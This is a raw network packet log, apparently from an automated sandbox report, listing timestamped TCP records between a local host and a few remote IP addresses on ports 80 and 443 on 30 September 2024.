Sep 30, 2024 12:22:44.742146015 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742544889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742598057 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742609024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742635965 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742645979 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742681026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742721081 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742757082 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.742769003 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.742800951 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745179892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745229006 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745237112 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745280981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745659113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745712996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745744944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745769024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745769024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745841026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745872021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745892048 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745901108 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745938063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.745946884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745981932 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.745992899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746016026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746026039 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746052027 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746057987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746097088 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746104956 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746150017 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746162891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746193886 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746205091 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746252060 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746258020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746298075 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746305943 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746344090 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746354103 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746387959 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746396065 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746431112 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746444941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746479988 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746495008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746526003 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746534109 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746568918 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746577978 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746604919 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746608973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746640921 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746649981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746678114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746687889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746711016 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746718884 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746747017 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746752977 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746782064 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746788025 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746814966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746824026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746850967 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746861935 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746886969 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.746887922 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.746928930 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822066069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822132111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822145939 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822169065 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822175026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822210073 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822246075 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822280884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822295904 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822316885 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822323084 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822351933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822366953 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822386026 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.822401047 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.822436094 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827227116 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827289104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827336073 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827366114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827399969 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827413082 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827419043 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827451944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827469110 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827495098 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827738047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827771902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827795982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827815056 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827821970 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827856064 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827872038 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827891111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827899933 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827941895 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.827950001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.827999115 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828002930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828052998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828057051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828104973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828129053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828162909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828176975 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828206062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828214884 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828250885 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828267097 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828285933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828299046 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828316927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828334093 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828366995 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828375101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828424931 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828424931 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828458071 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828473091 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828496933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828502893 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828532934 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828547955 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828567982 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828583002 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828602076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828613997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828650951 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828654051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828687906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828701973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828722954 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828735113 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828758001 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828773022 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828794003 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828803062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828830957 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.828840971 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.828879118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829349995 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829402924 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829405069 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829437971 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829447985 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829473019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829493999 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829509020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829518080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829543114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.829560041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.829591990 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.831759930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.831789970 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.831816912 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.831832886 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832034111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832065105 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832103014 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832109928 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832123041 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832158089 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832175970 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832206964 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832209110 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832242966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832254887 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832288027 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832297087 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832333088 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832348108 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832367897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832385063 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832401991 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832434893 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832453012 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832457066 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832503080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832513094 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832564116 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832571030 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832618952 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832629919 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832664967 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832678080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832699060 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832714081 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832736015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832746983 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832786083 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832792044 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832833052 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832848072 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832882881 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832889080 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832928896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832935095 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.832964897 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.832978964 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833014965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833019018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833053112 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833069086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833087921 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833107948 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833122015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833136082 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833165884 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833177090 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833211899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833223104 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833249092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833262920 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833298922 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833303928 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833338022 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833352089 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833372116 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833388090 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833408117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833420038 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833440065 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833455086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833475113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833487988 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833512068 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833534002 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833549023 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.833564997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.833597898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.908792973 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.908849955 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.908880949 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.908915997 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.908917904 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.908973932 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.909025908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.909032106 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.909056902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.909090996 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.909123898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.909152031 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.909224033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.913949966 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.913980007 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914030075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914043903 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914077997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914088011 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914113045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914145947 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914156914 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914273024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914488077 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914521933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914561987 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914594889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914613008 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914648056 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:44.914686918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:44.914748907 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:45.038028002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:45.042932987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:45.333024979 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.333070040 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:45.333147049 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.336705923 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.336718082 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:45.795265913 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:45.795344114 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.797480106 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.797489882 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:45.797761917 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:45.799463034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:45.799526930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:45.802109003 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:45.806988955 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:45.848758936 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.853693008 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.853723049 CEST	52536	443	192.168.2.4	172.67.205.129
Sep 30, 2024 12:22:45.853800058 CEST	443	52536	172.67.205.129	192.168.2.4
Sep 30, 2024 12:22:46.001303911 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001327038 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001346111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001363993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001364946 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.001382113 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001394987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.001400948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001439095 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.001440048 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.001909018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001924992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001940012 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001964092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.001991034 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002000093 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002000093 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002007008 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002023935 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002024889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002041101 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002058029 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002064943 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002083063 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002094984 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002099991 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002105951 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002115011 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002130032 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002135992 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002146959 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002162933 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002178907 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002188921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002188921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002198935 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002214909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002229929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002232075 CEST	52535	80	192.168.2.4	147.45.44.104
